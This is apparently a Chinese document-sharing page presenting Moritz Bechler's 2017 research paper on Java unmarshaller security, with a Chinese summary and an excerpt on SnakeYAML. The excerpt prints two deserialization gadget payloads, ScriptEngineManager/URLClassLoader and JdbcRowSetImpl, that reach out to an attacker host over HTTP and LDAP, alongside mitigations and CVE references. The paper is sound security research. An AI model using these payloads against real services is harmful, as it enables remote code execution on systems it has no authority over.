Java反序列化漏洞：任意类型解析的风险与攻击利用

需积分: 3 124 浏览量更新于2024-07-09 收藏 404KB PDF 举报

"JavaUnmarshallerSecurity: 这篇论文深入探讨了Java对象反序列化安全问题，由Moritz Bechler在2017年5月撰写。文章基于Chris Frohoff和Gabriel Lawrence在2015年的研究，该研究揭示了Java历史上大规模的远程代码执行漏洞，主要源于对象序列化机制。作者指出，这些漏洞不仅限于像Java Serialization或XStream这样功能强大的机制，而是可能扩展到其他序列化技术。论文详细分析了多个开源Java marshalling库，允许接收攻击者提供的任意类型数据进行反序列化处理。研究发现，无论反序列化过程如何设计，以及是否存在隐含约束，这些机制都易于遭受相似的攻击手段。值得注意的是，尽管许多非标准的序列化方法比Java Serialization更不灵活，但它们实际上更容易被利用。事实上，在某些情况下，仅需使用Java SDK的标准库代码就足以实现代码执行。通过这份报告，作者强调了对Java反序列化过程的安全管理至关重要，因为即使是最简单的机制也可能成为潜在的安全威胁。为了防止此类漏洞，开发者需要对输入验证加强，采用安全的序列化和反序列化策略，并持续监控和更新安全实践，以应对不断演变的威胁。此外，定期的安全审计和漏洞扫描也是保护系统免受此类攻击的重要步骤。这篇论文为我们提供了一次关于Java反序列化安全漏洞深度剖析的警示，提醒开发人员警惕并采取相应措施来确保系统的安全性。"

3 Marshalling libraries

The diﬀerent marshalling mechanisms described here all diﬀer in how exactly they

interact with and what checks they perform on the objects to be unmarshalled. The

most fundamental distinction to be made is how they set values on objects, therefore

the following distinguishes between mechanisms that use bean property access and

ones that exclusively use direct ﬁeld access.

3.1 Bean property based marshallers

Bean property based marshallers more or less respect the types’ APIs preventing an

attacker from arbitrarily modifying the objects’ state and can reconstruct far less object

graphs than their ﬁeld based counterparts. They do, however, call setter methods

which means that far more code can be triggered directly during unmarshalling.

3.1.1 SnakeYAML

SnakeYAML only allows using public constructors and

public properties. It does not require corresponding getter

methods.

It has a special feature which allows calling arbitrary con-

structors with attacker-supplied data. This makes exploit-

ing ScriptEngine possible:

!! javax . script . Scri ptEn gine Mana ger [

!! java . net . URLC lassLoa der [[

!! java . net . URL [" http :// atta cker /"]

]]

]

Using only property access it can be also exploited with

JdbcRowset:

!! com . sun . rowset . Jdbc RowSetI mpl

dat aSource Name : ldap :// attacker / obj

autoCommit : true

SnakeYAML allows to specify a root type which is actually

used. Nested properties, however, are not type checked.

Mitigation

SnakeYAML comes with a

SafeConstructor

, disallow-

ing all custom types. Alternatively whitelisting can be

implemented using a custom

Constructor

implementa-

tion.

References

CVE-2016-9606

Resteasy

CVE-2017-3159

Apache Camel

CVE-2016-8744

Apache Brooklyn

Applicable Payloads

ScriptEngine (4.16)

JdbcRowset (4.2)

C3P0RefDS (4.8)

C3P0WrapDS (4.9)

SpringPropFac (4.10)

JNDIConﬁg (4.7)

and possibly many more, this seems like an incredible attack surface

剩余30页未读，继续阅读

kuangyahe

粉丝: 0
资源: 2

Java反序列化漏洞：任意类型解析的风险与攻击利用

marshalsec.jar.7z

marshalsec-0.0.3-SNAPSHOT-all.jar

marshalsec.zip

Java反序列化实战.pdf

marshalsec-jar-master.zip

marshalsec-0.0.3-SNAPSHOT-all.zip

marshalsec-jar-master、marshalsec-jar

MongoDB分片集群搭建教程：副本集创建与数据分片

CPPC++_嵌入式硬件的物联网解决方案blinker库与Arduino ESP8266 ESP32一起工作.zip

CPPC++_逆向调用QQ Mojo IPC与WeChat XPlugin.zip

最新资源